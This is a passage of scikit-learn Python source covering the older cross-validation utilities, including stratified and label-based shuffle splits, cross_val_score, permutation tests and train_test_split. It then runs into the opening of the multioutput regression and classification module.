    random_state : int or RandomState
        Pseudo-random number generator state used for random sampling.

    Examples
    --------
    >>> from sklearn.cross_validation import StratifiedShuffleSplit
    >>> X = np.array([[1, 2], [3, 4], [1, 2], [3, 4]])
    >>> y = np.array([0, 0, 1, 1])
    >>> sss = StratifiedShuffleSplit(y, 3, test_size=0.5, random_state=0)
    >>> len(sss)
    3
    >>> print(sss)       # doctest: +ELLIPSIS
    StratifiedShuffleSplit(labels=[0 0 1 1], n_iter=3, ...)
    >>> for train_index, test_index in sss:
    ...    print("TRAIN:", train_index, "TEST:", test_index)
    ...    X_train, X_test = X[train_index], X[test_index]
    ...    y_train, y_test = y[train_index], y[test_index]
    TRAIN: [1 2] TEST: [3 0]
    TRAIN: [0 2] TEST: [1 3]
    TRAIN: [0 2] TEST: [3 1]
    """

    def __init__(self, y, n_iter=10, test_size=0.1, train_size=None,
                 random_state=None):

        super(StratifiedShuffleSplit, self).__init__(
            len(y), n_iter, test_size, train_size, random_state)

        self.y = np.array(y)
        self.classes, self.y_indices = np.unique(y, return_inverse=True)
        n_cls = self.classes.shape[0]

        if np.min(bincount(self.y_indices)) < 2:
            raise ValueError("The least populated class in y has only 1"
                             " member, which is too few. The minimum"
                             " number of labels for any class cannot"
                             " be less than 2.")

        if self.n_train < n_cls:
            raise ValueError('The train_size = %d should be greater or '
                             'equal to the number of classes = %d' %
                             (self.n_train, n_cls))
        if self.n_test < n_cls:
            raise ValueError('The test_size = %d should be greater or '
                             'equal to the number of classes = %d' %
                             (self.n_test, n_cls))

    def _iter_indices(self):
        rng = check_random_state(self.random_state)
        cls_count = bincount(self.y_indices)
        p_i = cls_count / float(self.n)
        n_i = np.round(self.n_train * p_i).astype(int)
        t_i = np.minimum(cls_count - n_i,
                         np.round(self.n_test * p_i).astype(int))

        for n in range(self.n_iter):
            train = []
            test = []

            for i, cls in enumerate(self.classes):
                permutation = rng.permutation(cls_count[i])
                cls_i = np.where((self.y == cls))[0][permutation]

                train.extend(cls_i[:n_i[i]])
                test.extend(cls_i[n_i[i]:n_i[i] + t_i[i]])

            # Because of rounding issues (as n_train and n_test are not
            # dividers of the number of elements per class), we may end
            # up here with less samples in train and test than asked for.
            if len(train) + len(test) < self.n_train + self.n_test:
                # We complete by affecting randomly the missing indexes
                missing_idx = np.where(bincount(train + test,
                                                minlength=len(self.y)) == 0,
                                       )[0]
                missing_idx = rng.permutation(missing_idx)
                n_missing_train = self.n_train - len(train)
                n_missing_test = self.n_test - len(test)

                if n_missing_train > 0:
                    train.extend(missing_idx[:n_missing_train])
                if n_missing_test > 0:
                    test.extend(missing_idx[-n_missing_test:])

            train = rng.permutation(train)
            test = rng.permutation(test)

            yield train, test

    def __repr__(self):
        return ('%s(labels=%s, n_iter=%d, test_size=%s, '
                'random_state=%s)' % (
                    self.__class__.__name__,
                    self.y,
                    self.n_iter,
                    str(self.test_size),
                    self.random_state,
                ))

    def __len__(self):
        return self.n_iter


class PredefinedSplit(_PartitionIterator):
    """Predefined split cross validation iterator

    Splits the data into training/test set folds according to a predefined
    scheme. Each sample can be assigned to at most one test set fold, as
    specified by the user through the ``test_fold`` parameter.

    Read more in the :ref:`User Guide <cross_validation>`.

    Parameters
    ----------
    test_fold : "array-like, shape (n_samples,)
        test_fold[i] gives the test set fold of sample i. A value of -1
        indicates that the corresponding sample is not part of any test set
        folds, but will instead always be put into the training fold.

    Examples
    --------
    >>> from sklearn.cross_validation import PredefinedSplit
    >>> X = np.array([[1, 2], [3, 4], [1, 2], [3, 4]])
    >>> y = np.array([0, 0, 1, 1])
    >>> ps = PredefinedSplit(test_fold=[0, 1, -1, 1])
    >>> len(ps)
    2
    >>> print(ps)       # doctest: +NORMALIZE_WHITESPACE +ELLIPSIS
    sklearn.cross_validation.PredefinedSplit(test_fold=[ 0  1 -1  1])
    >>> for train_index, test_index in ps:
    ...    print("TRAIN:", train_index, "TEST:", test_index)
    ...    X_train, X_test = X[train_index], X[test_index]
    ...    y_train, y_test = y[train_index], y[test_index]
    TRAIN: [1 2 3] TEST: [0]
    TRAIN: [0 2] TEST: [1 3]
    """

    def __init__(self, test_fold):
        super(PredefinedSplit, self).__init__(len(test_fold))
        self.test_fold = np.array(test_fold, dtype=np.int)
        self.test_fold = column_or_1d(self.test_fold)
        self.unique_folds = np.unique(self.test_fold)
        self.unique_folds = self.unique_folds[self.unique_folds != -1]

    def _iter_test_indices(self):
        for f in self.unique_folds:
            yield np.where(self.test_fold == f)[0]

    def __repr__(self):
        return '%s.%s(test_fold=%s)' % (
            self.__class__.__module__,
            self.__class__.__name__,
            self.test_fold)

    def __len__(self):
        return len(self.unique_folds)


class LabelShuffleSplit(ShuffleSplit):
    """Shuffle-Labels-Out cross-validation iterator

    Provides randomized train/test indices to split data according to a
    third-party provided label. This label information can be used to encode
    arbitrary domain specific stratifications of the samples as integers.

    For instance the labels could be the year of collection of the samples
    and thus allow for cross-validation against time-based splits.

    The difference between LeavePLabelOut and LabelShuffleSplit is that
    the former generates splits using all subsets of size ``p`` unique labels,
    whereas LabelShuffleSplit generates a user-determined number of random
    test splits, each with a user-determined fraction of unique labels.

    For example, a less computationally intensive alternative to
    ``LeavePLabelOut(labels, p=10)`` would be
    ``LabelShuffleSplit(labels, test_size=10, n_iter=100)``.

    Note: The parameters ``test_size`` and ``train_size`` refer to labels, and
    not to samples, as in ShuffleSplit.

    .. versionadded:: 0.17

    Parameters
    ----------
    labels :  array, [n_samples]
        Labels of samples

    n_iter : int (default 5)
        Number of re-shuffling and splitting iterations.

    test_size : float (default 0.2), int, or None
        If float, should be between 0.0 and 1.0 and represent the
        proportion of the labels to include in the test split. If
        int, represents the absolute number of test labels. If None,
        the value is automatically set to the complement of the train size.

    train_size : float, int, or None (default is None)
        If float, should be between 0.0 and 1.0 and represent the
        proportion of the labels to include in the train split. If
        int, represents the absolute number of train labels. If None,
        the value is automatically set to the complement of the test size.

    random_state : int or RandomState
        Pseudo-random number generator state used for random sampling.

    """
    def __init__(self, labels, n_iter=5, test_size=0.2, train_size=None,
                 random_state=None):

        classes, label_indices = np.unique(labels, return_inverse=True)

        super(LabelShuffleSplit, self).__init__(
            len(classes),
            n_iter=n_iter,
            test_size=test_size,
            train_size=train_size,
            random_state=random_state)

        self.labels = labels
        self.classes = classes
        self.label_indices = label_indices

    def __repr__(self):
        return ('%s(labels=%s, n_iter=%d, test_size=%s, '
                'random_state=%s)' % (
                    self.__class__.__name__,
                    self.labels,
                    self.n_iter,
                    str(self.test_size),
                    self.random_state,
                ))

    def __len__(self):
        return self.n_iter

    def _iter_indices(self):
        for label_train, label_test in super(LabelShuffleSplit,
                                             self)._iter_indices():
            # these are the indices of classes in the partition
            # invert them into data indices

            train = np.flatnonzero(np.in1d(self.label_indices, label_train))
            test = np.flatnonzero(np.in1d(self.label_indices, label_test))

            yield train, test


##############################################################################
def _index_param_value(X, v, indices):
    """Private helper function for parameter value indexing."""
    if not _is_arraylike(v) or _num_samples(v) != _num_samples(X):
        # pass through: skip indexing
        return v
    if sp.issparse(v):
        v = v.tocsr()
    return safe_indexing(v, indices)


def cross_val_predict(estimator, X, y=None, cv=None, n_jobs=1,
                      verbose=0, fit_params=None, pre_dispatch='2*n_jobs'):
    """Generate cross-validated estimates for each input data point

    Read more in the :ref:`User Guide <cross_validation>`.

    Parameters
    ----------
    estimator : estimator object implementing 'fit' and 'predict'
        The object to use to fit the data.

    X : array-like
        The data to fit. Can be, for example a list, or an array at least 2d.

    y : array-like, optional, default: None
        The target variable to try to predict in the case of
        supervised learning.

    cv : int, cross-validation generator or an iterable, optional
        Determines the cross-validation splitting strategy.
        Possible inputs for cv are:

        - None, to use the default 3-fold cross-validation,
        - integer, to specify the number of folds.
        - An object to be used as a cross-validation generator.
        - An iterable yielding train/test splits.

        For integer/None inputs, if the estimator is a classifier and ``y`` is
        either binary or multiclass, :class:`StratifiedKFold` is used. In all
        other cases, :class:`KFold` is used.

        Refer :ref:`User Guide <cross_validation>` for the various
        cross-validation strategies that can be used here.

    n_jobs : integer, optional
        The number of CPUs to use to do the computation. -1 means
        'all CPUs'.

    verbose : integer, optional
        The verbosity level.

    fit_params : dict, optional
        Parameters to pass to the fit method of the estimator.

    pre_dispatch : int, or string, optional
        Controls the number of jobs that get dispatched during parallel
        execution. Reducing this number can be useful to avoid an
        explosion of memory consumption when more jobs get dispatched
        than CPUs can process. This parameter can be:

            - None, in which case all the jobs are immediately
              created and spawned. Use this for lightweight and
              fast-running jobs, to avoid delays due to on-demand
              spawning of the jobs

            - An int, giving the exact number of total jobs that are
              spawned

            - A string, giving an expression as a function of n_jobs,
              as in '2*n_jobs'

    Returns
    -------
    preds : ndarray
        This is the result of calling 'predict'

    Examples
    --------
    >>> from sklearn import datasets, linear_model
    >>> from sklearn.cross_validation import cross_val_predict
    >>> diabetes = datasets.load_diabetes()
    >>> X = diabetes.data[:150]
    >>> y = diabetes.target[:150]
    >>> lasso = linear_model.Lasso()
    >>> y_pred = cross_val_predict(lasso, X, y)
    """
    X, y = indexable(X, y)

    cv = check_cv(cv, X, y, classifier=is_classifier(estimator))
    # We clone the estimator to make sure that all the folds are
    # independent, and that it is pickle-able.
    parallel = Parallel(n_jobs=n_jobs, verbose=verbose,
                        pre_dispatch=pre_dispatch)
    preds_blocks = parallel(delayed(_fit_and_predict)(clone(estimator), X, y,
                                                      train, test, verbose,
                                                      fit_params)
                            for train, test in cv)

    preds = [p for p, _ in preds_blocks]
    locs = np.concatenate([loc for _, loc in preds_blocks])
    if not _check_is_partition(locs, _num_samples(X)):
        raise ValueError('cross_val_predict only works for partitions')
    inv_locs = np.empty(len(locs), dtype=int)
    inv_locs[locs] = np.arange(len(locs))

    # Check for sparse predictions
    if sp.issparse(preds[0]):
        preds = sp.vstack(preds, format=preds[0].format)
    else:
        preds = np.concatenate(preds)
    return preds[inv_locs]


def _fit_and_predict(estimator, X, y, train, test, verbose, fit_params):
    """Fit estimator and predict values for a given dataset split.

    Read more in the :ref:`User Guide <cross_validation>`.

    Parameters
    ----------
    estimator : estimator object implementing 'fit' and 'predict'
        The object to use to fit the data.

    X : array-like of shape at least 2D
        The data to fit.

    y : array-like, optional, default: None
        The target variable to try to predict in the case of
        supervised learning.

    train : array-like, shape (n_train_samples,)
        Indices of training samples.

    test : array-like, shape (n_test_samples,)
        Indices of test samples.

    verbose : integer
        The verbosity level.

    fit_params : dict or None
        Parameters that will be passed to ``estimator.fit``.

    Returns
    -------
    preds : sequence
        Result of calling 'estimator.predict'

    test : array-like
        This is the value of the test parameter
    """
    # Adjust length of sample weights
    fit_params = fit_params if fit_params is not None else {}
    fit_params = dict([(k, _index_param_value(X, v, train))
                      for k, v in fit_params.items()])

    X_train, y_train = _safe_split(estimator, X, y, train)
    X_test, _ = _safe_split(estimator, X, y, test, train)

    if y_train is None:
        estimator.fit(X_train, **fit_params)
    else:
        estimator.fit(X_train, y_train, **fit_params)
    preds = estimator.predict(X_test)
    return preds, test


def _check_is_partition(locs, n):
    """Check whether locs is a reordering of the array np.arange(n)

    Parameters
    ----------
    locs : ndarray
        integer array to test
    n : int
        number of expected elements

    Returns
    -------
    is_partition : bool
        True iff sorted(locs) is range(n)
    """
    if len(locs) != n:
        return False
    hit = np.zeros(n, bool)
    hit[locs] = True
    if not np.all(hit):
        return False
    return True


def cross_val_score(estimator, X, y=None, scoring=None, cv=None, n_jobs=1,
                    verbose=0, fit_params=None, pre_dispatch='2*n_jobs'):
    """Evaluate a score by cross-validation

    Read more in the :ref:`User Guide <cross_validation>`.

    Parameters
    ----------
    estimator : estimator object implementing 'fit'
        The object to use to fit the data.

    X : array-like
        The data to fit. Can be, for example a list, or an array at least 2d.

    y : array-like, optional, default: None
        The target variable to try to predict in the case of
        supervised learning.

    scoring : string, callable or None, optional, default: None
        A string (see model evaluation documentation) or
        a scorer callable object / function with signature
        ``scorer(estimator, X, y)``.

    cv : int, cross-validation generator or an iterable, optional
        Determines the cross-validation splitting strategy.
        Possible inputs for cv are:

        - None, to use the default 3-fold cross-validation,
        - integer, to specify the number of folds.
        - An object to be used as a cross-validation generator.
        - An iterable yielding train/test splits.

        For integer/None inputs, if the estimator is a classifier and ``y`` is
        either binary or multiclass, :class:`StratifiedKFold` is used. In all
        other cases, :class:`KFold` is used.

        Refer :ref:`User Guide <cross_validation>` for the various
        cross-validation strategies that can be used here.

    n_jobs : integer, optional
        The number of CPUs to use to do the computation. -1 means
        'all CPUs'.

    verbose : integer, optional
        The verbosity level.

    fit_params : dict, optional
        Parameters to pass to the fit method of the estimator.

    pre_dispatch : int, or string, optional
        Controls the number of jobs that get dispatched during parallel
        execution. Reducing this number can be useful to avoid an
        explosion of memory consumption when more jobs get dispatched
        than CPUs can process. This parameter can be:

            - None, in which case all the jobs are immediately
              created and spawned. Use this for lightweight and
              fast-running jobs, to avoid delays due to on-demand
              spawning of the jobs

            - An int, giving the exact number of total jobs that are
              spawned

            - A string, giving an expression as a function of n_jobs,
              as in '2*n_jobs'

    Returns
    -------
    scores : array of float, shape=(len(list(cv)),)
        Array of scores of the estimator for each run of the cross validation.

    Examples
    --------
    >>> from sklearn import datasets, linear_model
    >>> from sklearn.cross_validation import cross_val_score
    >>> diabetes = datasets.load_diabetes()
    >>> X = diabetes.data[:150]
    >>> y = diabetes.target[:150]
    >>> lasso = linear_model.Lasso()
    >>> print(cross_val_score(lasso, X, y))  # doctest:  +ELLIPSIS
    [ 0.33150734  0.08022311  0.03531764]

    See Also
    ---------
    :func:`sklearn.metrics.make_scorer`:
        Make a scorer from a performance metric or loss function.

    """
    X, y = indexable(X, y)

    cv = check_cv(cv, X, y, classifier=is_classifier(estimator))
    scorer = check_scoring(estimator, scoring=scoring)
    # We clone the estimator to make sure that all the folds are
    # independent, and that it is pickle-able.
    parallel = Parallel(n_jobs=n_jobs, verbose=verbose,
                        pre_dispatch=pre_dispatch)
    scores = parallel(delayed(_fit_and_score)(clone(estimator), X, y, scorer,
                                              train, test, verbose, None,
                                              fit_params)
                      for train, test in cv)
    return np.array(scores)[:, 0]


def _fit_and_score(estimator, X, y, scorer, train, test, verbose,
                   parameters, fit_params, return_train_score=False,
                   return_parameters=False, error_score='raise'):
    """Fit estimator and compute scores for a given dataset split.

    Parameters
    ----------
    estimator : estimator object implementing 'fit'
        The object to use to fit the data.

    X : array-like of shape at least 2D
        The data to fit.

    y : array-like, optional, default: None
        The target variable to try to predict in the case of
        supervised learning.

    scorer : callable
        A scorer callable object / function with signature
        ``scorer(estimator, X, y)``.

    train : array-like, shape (n_train_samples,)
        Indices of training samples.

    test : array-like, shape (n_test_samples,)
        Indices of test samples.

    verbose : integer
        The verbosity level.

    error_score : 'raise' (default) or numeric
        Value to assign to the score if an error occurs in estimator fitting.
        If set to 'raise', the error is raised. If a numeric value is given,
        FitFailedWarning is raised. This parameter does not affect the refit
        step, which will always raise the error.

    parameters : dict or None
        Parameters to be set on the estimator.

    fit_params : dict or None
        Parameters that will be passed to ``estimator.fit``.

    return_train_score : boolean, optional, default: False
        Compute and return score on training set.

    return_parameters : boolean, optional, default: False
        Return parameters that has been used for the estimator.

    Returns
    -------
    train_score : float, optional
        Score on training set, returned only if `return_train_score` is `True`.

    test_score : float
        Score on test set.

    n_test_samples : int
        Number of test samples.

    scoring_time : float
        Time spent for fitting and scoring in seconds.

    parameters : dict or None, optional
        The parameters that have been evaluated.
    """
    if verbose > 1:
        if parameters is None:
            msg = ''
        else:
            msg = '%s' % (', '.join('%s=%s' % (k, v)
                          for k, v in parameters.items()))
        print("[CV] %s %s" % (msg, (64 - len(msg)) * '.'))

    # Adjust length of sample weights
    fit_params = fit_params if fit_params is not None else {}
    fit_params = dict([(k, _index_param_value(X, v, train))
                      for k, v in fit_params.items()])

    if parameters is not None:
        estimator.set_params(**parameters)

    start_time = time.time()

    X_train, y_train = _safe_split(estimator, X, y, train)
    X_test, y_test = _safe_split(estimator, X, y, test, train)

    try:
        if y_train is None:
            estimator.fit(X_train, **fit_params)
        else:
            estimator.fit(X_train, y_train, **fit_params)

    except Exception as e:
        if error_score == 'raise':
            raise
        elif isinstance(error_score, numbers.Number):
            test_score = error_score
            if return_train_score:
                train_score = error_score
            warnings.warn("Classifier fit failed. The score on this train-test"
                          " partition for these parameters will be set to %f. "
                          "Details: \n%r" % (error_score, e), FitFailedWarning)
        else:
            raise ValueError("error_score must be the string 'raise' or a"
                             " numeric value. (Hint: if using 'raise', please"
                             " make sure that it has been spelled correctly.)"
                             )

    else:
        test_score = _score(estimator, X_test, y_test, scorer)
        if return_train_score:
            train_score = _score(estimator, X_train, y_train, scorer)

    scoring_time = time.time() - start_time

    if verbose > 2:
        msg += ", score=%f" % test_score
    if verbose > 1:
        end_msg = "%s -%s" % (msg, logger.short_format_time(scoring_time))
        print("[CV] %s %s" % ((64 - len(end_msg)) * '.', end_msg))

    ret = [train_score] if return_train_score else []
    ret.extend([test_score, _num_samples(X_test), scoring_time])
    if return_parameters:
        ret.append(parameters)
    return ret


def _safe_split(estimator, X, y, indices, train_indices=None):
    """Create subset of dataset and properly handle kernels."""
    if hasattr(estimator, 'kernel') and callable(estimator.kernel) \
       and not isinstance(estimator.kernel, GPKernel):
        # cannot compute the kernel values with custom function
        raise ValueError("Cannot use a custom kernel function. "
                         "Precompute the kernel matrix instead.")

    if not hasattr(X, "shape"):
        if getattr(estimator, "_pairwise", False):
            raise ValueError("Precomputed kernels or affinity matrices have "
                             "to be passed as arrays or sparse matrices.")
        X_subset = [X[idx] for idx in indices]
    else:
        if getattr(estimator, "_pairwise", False):
            # X is a precomputed square kernel matrix
            if X.shape[0] != X.shape[1]:
                raise ValueError("X should be a square kernel matrix")
            if train_indices is None:
                X_subset = X[np.ix_(indices, indices)]
            else:
                X_subset = X[np.ix_(indices, train_indices)]
        else:
            X_subset = safe_indexing(X, indices)

    if y is not None:
        y_subset = safe_indexing(y, indices)
    else:
        y_subset = None

    return X_subset, y_subset


def _score(estimator, X_test, y_test, scorer):
    """Compute the score of an estimator on a given test set."""
    if y_test is None:
        score = scorer(estimator, X_test)
    else:
        score = scorer(estimator, X_test, y_test)
    if hasattr(score, 'item'):
        try:
            # e.g. unwrap memmapped scalars
            score = score.item()
        except ValueError:
            # non-scalar?
            pass
    if not isinstance(score, numbers.Number):
        raise ValueError("scoring must return a number, got %s (%s) instead."
                         % (str(score), type(score)))
    return score


def _permutation_test_score(estimator, X, y, cv, scorer):
    """Auxiliary function for permutation_test_score"""
    avg_score = []
    for train, test in cv:
        estimator.fit(X[train], y[train])
        avg_score.append(scorer(estimator, X[test], y[test]))
    return np.mean(avg_score)


def _shuffle(y, labels, random_state):
    """Return a shuffled copy of y eventually shuffle among same labels."""
    if labels is None:
        ind = random_state.permutation(len(y))
    else:
        ind = np.arange(len(labels))
        for label in np.unique(labels):
            this_mask = (labels == label)
            ind[this_mask] = random_state.permutation(ind[this_mask])
    return y[ind]


def check_cv(cv, X=None, y=None, classifier=False):
    """Input checker utility for building a CV in a user friendly way.

    Parameters
    ----------
    cv : int, cross-validation generator or an iterable, optional
        Determines the cross-validation splitting strategy.
        Possible inputs for cv are:

        - None, to use the default 3-fold cross-validation,
        - integer, to specify the number of folds.
        - An object to be used as a cross-validation generator.
        - An iterable yielding train/test splits.

        For integer/None inputs, if classifier is True and ``y`` is binary or
        multiclass, :class:`StratifiedKFold` is used. In all other cases,
        :class:`KFold` is used.

        Refer :ref:`User Guide <cross_validation>` for the various
        cross-validation strategies that can be used here.

    X : array-like
        The data the cross-val object will be applied on.

    y : array-like
        The target variable for a supervised learning problem.

    classifier : boolean optional
        Whether the task is a classification task, in which case
        stratified KFold will be used.

    Returns
    -------
    checked_cv: a cross-validation generator instance.
        The return value is guaranteed to be a cv generator instance, whatever
        the input type.
    """
    is_sparse = sp.issparse(X)
    if cv is None:
        cv = 3
    if isinstance(cv, numbers.Integral):
        if classifier:
            if type_of_target(y) in ['binary', 'multiclass']:
                cv = StratifiedKFold(y, cv)
            else:
                cv = KFold(_num_samples(y), cv)
        else:
            if not is_sparse:
                n_samples = len(X)
            else:
                n_samples = X.shape[0]
            cv = KFold(n_samples, cv)
    return cv


def permutation_test_score(estimator, X, y, cv=None,
                           n_permutations=100, n_jobs=1, labels=None,
                           random_state=0, verbose=0, scoring=None):
    """Evaluate the significance of a cross-validated score with permutations

    Read more in the :ref:`User Guide <cross_validation>`.

    Parameters
    ----------
    estimator : estimator object implementing 'fit'
        The object to use to fit the data.

    X : array-like of shape at least 2D
        The data to fit.

    y : array-like
        The target variable to try to predict in the case of
        supervised learning.

    scoring : string, callable or None, optional, default: None
        A string (see model evaluation documentation) or
        a scorer callable object / function with signature
        ``scorer(estimator, X, y)``.

    cv : int, cross-validation generator or an iterable, optional
        Determines the cross-validation splitting strategy.
        Possible inputs for cv are:

        - None, to use the default 3-fold cross-validation,
        - integer, to specify the number of folds.
        - An object to be used as a cross-validation generator.
        - An iterable yielding train/test splits.

        For integer/None inputs, if the estimator is a classifier and ``y`` is
        either binary or multiclass, :class:`StratifiedKFold` is used. In all
        other cases, :class:`KFold` is used.

        Refer :ref:`User Guide <cross_validation>` for the various
        cross-validation strategies that can be used here.

    n_permutations : integer, optional
        Number of times to permute ``y``.

    n_jobs : integer, optional
        The number of CPUs to use to do the computation. -1 means
        'all CPUs'.

    labels : array-like of shape [n_samples] (optional)
        Labels constrain the permutation among groups of samples with
        a same label.

    random_state : RandomState or an int seed (0 by default)
        A random number generator instance to define the state of the
        random permutations generator.

    verbose : integer, optional
        The verbosity level.

    Returns
    -------
    score : float
        The true score without permuting targets.

    permutation_scores : array, shape (n_permutations,)
        The scores obtained for each permutations.

    pvalue : float
        The returned value equals p-value if `scoring` returns bigger
        numbers for better scores (e.g., accuracy_score). If `scoring` is
        rather a loss function (i.e. when lower is better such as with
        `mean_squared_error`) then this is actually the complement of the
        p-value:  1 - p-value.

    Notes
    -----
    This function implements Test 1 in:

        Ojala and Garriga. Permutation Tests for Studying Classifier
        Performance.  The Journal of Machine Learning Research (2010)
        vol. 11

    """
    X, y = indexable(X, y)
    cv = check_cv(cv, X, y, classifier=is_classifier(estimator))
    scorer = check_scoring(estimator, scoring=scoring)
    random_state = check_random_state(random_state)

    # We clone the estimator to make sure that all the folds are
    # independent, and that it is pickle-able.
    score = _permutation_test_score(clone(estimator), X, y, cv, scorer)
    permutation_scores = Parallel(n_jobs=n_jobs, verbose=verbose)(
        delayed(_permutation_test_score)(
            clone(estimator), X, _shuffle(y, labels, random_state), cv,
            scorer)
        for _ in range(n_permutations))
    permutation_scores = np.array(permutation_scores)
    pvalue = (np.sum(permutation_scores >= score) + 1.0) / (n_permutations + 1)
    return score, permutation_scores, pvalue


permutation_test_score.__test__ = False  # to avoid a pb with nosetests


def train_test_split(*arrays, **options):
    """Split arrays or matrices into random train and test subsets

    Quick utility that wraps input validation and
    ``next(iter(ShuffleSplit(n_samples)))`` and application to input
    data into a single call for splitting (and optionally subsampling)
    data in a oneliner.

    Read more in the :ref:`User Guide <cross_validation>`.

    Parameters
    ----------
    *arrays : sequence of indexables with same length / shape[0]
        Allowed inputs are lists, numpy arrays, scipy-sparse
        matrices or pandas dataframes.

    test_size : float, int, or None (default is None)
        If float, should be between 0.0 and 1.0 and represent the
        proportion of the dataset to include in the test split. If
        int, represents the absolute number of test samples. If None,
        the value is automatically set to the complement of the train size.
        If train size is also None, test size is set to 0.25.

    train_size : float, int, or None (default is None)
        If float, should be between 0.0 and 1.0 and represent the
        proportion of the dataset to include in the train split. If
        int, represents the absolute number of train samples. If None,
        the value is automatically set to the complement of the test size.

    random_state : int or RandomState
        Pseudo-random number generator state used for random sampling.

    stratify : array-like or None (default is None)
        If not None, data is split in a stratified fashion, using this as
        the labels array.

        .. versionadded:: 0.17
           *stratify* splitting

    Returns
    -------
    splitting : list, length = 2 * len(arrays),
        List containing train-test split of inputs.

        .. versionadded:: 0.16
            If the input is sparse, the output will be a
            ``scipy.sparse.csr_matrix``. Else, output type is the same as the
            input type.

    Examples
    --------
    >>> import numpy as np
    >>> from sklearn.cross_validation import train_test_split
    >>> X, y = np.arange(10).reshape((5, 2)), range(5)
    >>> X
    array([[0, 1],
           [2, 3],
           [4, 5],
           [6, 7],
           [8, 9]])
    >>> list(y)
    [0, 1, 2, 3, 4]

    >>> X_train, X_test, y_train, y_test = train_test_split(
    ...     X, y, test_size=0.33, random_state=42)
    ...
    >>> X_train
    array([[4, 5],
           [0, 1],
           [6, 7]])
    >>> y_train
    [2, 0, 3]
    >>> X_test
    array([[2, 3],
           [8, 9]])
    >>> y_test
    [1, 4]

    """
    n_arrays = len(arrays)
    if n_arrays == 0:
        raise ValueError("At least one array required as input")

    test_size = options.pop('test_size', None)
    train_size = options.pop('train_size', None)
    random_state = options.pop('random_state', None)
    stratify = options.pop('stratify', None)

    if options:
        raise TypeError("Invalid parameters passed: %s" % str(options))

    if test_size is None and train_size is None:
        test_size = 0.25
    arrays = indexable(*arrays)
    if stratify is not None:
        cv = StratifiedShuffleSplit(stratify, test_size=test_size,
                                    train_size=train_size,
                                    random_state=random_state)
    else:
        n_samples = _num_samples(arrays[0])
        cv = ShuffleSplit(n_samples, test_size=test_size,
                          train_size=train_size,
                          random_state=random_state)

    train, test = next(iter(cv))
    return list(chain.from_iterable((safe_indexing(a, train),
                                     safe_indexing(a, test)) for a in arrays))


train_test_split.__test__ = False  # to avoid a pb with nosetests






"""
This module implements multioutput regression and classification.

The estimators provided in this module are meta-estimators: they require
a base estimator to be provided in their constructor. The meta-estimator
extends single output estimators to multioutput estimators.
"""

# Author: Tim Head <betatim@gmail.com>
# Author: Hugo Bowne-Anderson <hugobowne@gmail.com>
# Author: Chris Rivera <chris.richard.rivera@gmail.com>
# Author: Michael Williamson
# Author: James Ashton Nichols <james.ashton.nichols@gmail.com>
#
# License: BSD 3 clause

import numpy as np

from abc import ABCMeta
from .base import BaseEstimator, clone
from .base import RegressorMixin, ClassifierMixin
from .utils import check_array, check_X_y
from .utils.fixes import parallel_helper
from .utils.validation import check_is_fitted, has_fit_parameter
from .externals.joblib import Parallel, delayed
from .externals import six

__all__ = ["MultiOutputRegressor", "MultiOutputClassifier"]


def _fit_estimator(estimator, X, y, sample_weight=None):
    estimator = clone(estimator)
    if sample_weight is not None:
        estimator.fit(X, y, sample_weight=sample_weight)
    else:
        estimator.fit(X, y)
    return estimator


class MultiOutputEstimator(six.with_metaclass(ABCMeta, BaseEstimator)):

    def __init__(self, estimator, n_jobs=1):
        self.estimator = estimator
        self.n_jobs = n_jobs

    def fit(self, X, y, sample_weight=None):
        """ Fit the model to data.
        Fit a separate model for each output variable.

        Parameters
        ----------
        X : (sparse) array-like, shape (n_samples, n_features)
            Data.

        y : (sparse) array-like, shape (n_samples, n_outputs)
            Multi-output targets. An indicator matrix turns on multilabel
            estimation.

        sample_weight : array-like, shape = (n_samples) or None
            Sample weights. If None, then samples are equally weighted.
            Only supported if the underlying regressor supports sample
            weights.

        Returns
        -------
        self : object
            Returns self.
        """

        if not hasattr(self.estimator, "fit"):
            raise ValueError("The base estimator should implement a fit method")

        X, y = check_X_y(X, y,
                         multi_output=True,
                         accept_sparse=True)

        if y.ndim == 1:
            raise ValueError("y must have at least two dimensions for "
                             "multi target regression but has only one.")

        if (sample_weight is not None and
                not has_fit_parameter(self.estimator, 'sample_weight')):
            raise ValueError("Underlying regressor does not support"
                             " sample weights.")

        self.estimators_ = Parallel(n_jobs=self.n_jobs)(delayed(_fit_estimator)(
            self.estimator, X, y[:, i], sample_weight) for i in range(y.shape[1]))
        return self

    def predict(self, X):
        """Predict multi-output variable using a model
         trained for each target variable.

        Parameters
        ----------
        X : (sparse) array-like, shape (n_samples, n_features)
            Data.

        Returns
        -------
        y : (sparse) array-like, shape (n_samples, n_outputs)
            Multi-output targets predicted across multiple predictors.
            Note: Separate models are generated for each predictor.
        """
        check_is_fitted(self, 'estimators_')
        if not hasattr(self.estimator, "predict"):
            raise ValueError("The base estimator should implement a predict method")

        X = check_array(X, accept_sparse=True)

        y = Parallel(n_jobs=self.n_jobs)(delayed(parallel_helper)(e, 'predict', X)
                                         for e in self.estimators_)

        return np.asarray(y).T


class MultiOutputRegressor(MultiOutputEstimator, RegressorMixin):
    """Multi target regression

    This strategy consists of fitting one regressor per target. This is a
    simple strategy for extending regressors that do not natively support
    multi-target regression.

    Parameters
    ----------
    estimator : estimator object
        An estimator object implementing `fit` and `predict`.

    n_jobs : int, optional, default=1
        The number of jobs to run in parallel for `fit`. If -1,
        then the number of jobs is set to the number of cores.
        When individual estimators are fast to train or predict
        using `n_jobs>1` can result in slower performance due
        to the overhead of spawning processes.
    """
    def __init__(self, estimator, n_jobs=1):
        super(MultiOutputRegressor, self).__init__(estimator, n_jobs)

    def score(self, X, y, sample_weight=None):
        """Returns the coefficient of determination R^2 of the prediction.

        The coefficient R^2 is defined as (1 - u/v), where u is the regression
        sum of squares ((y_true - y_pred) ** 2).sum() and v is the residual
        sum of squares ((y_true - y_true.mean()) ** 2).sum().
        Best possible score is 1.0 and it can be negative (because the
        model can be arbitrarily worse). A constant model that always
        predicts the expected value of y, disregarding the input features,
        would get a R^2 score of 0.0.

        Note
        ----
        R^2 is calculated by weighting all the targets equally using
        `multioutput='uniform_average'`.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            Test samples.

        y : array-like, shape (n_samples) or (n_samples, n_outputs)
            True values for X.

        sample_weight : array-like, shape [n_samples], optional
            Sample weights.

        Returns
        -------
        score : float
            R^2 of self.predict(X) wrt. y.
        """
        # XXX remove in 0.19 when r2_score default for multioutput changes
        from .metrics import r2_score
        return r2_score(y, self.predict(X), sample_weight=sample_weight,
                        multioutput='uniform_average')


class MultiOutputClassifier(MultiOutputEstimator, ClassifierMixin):
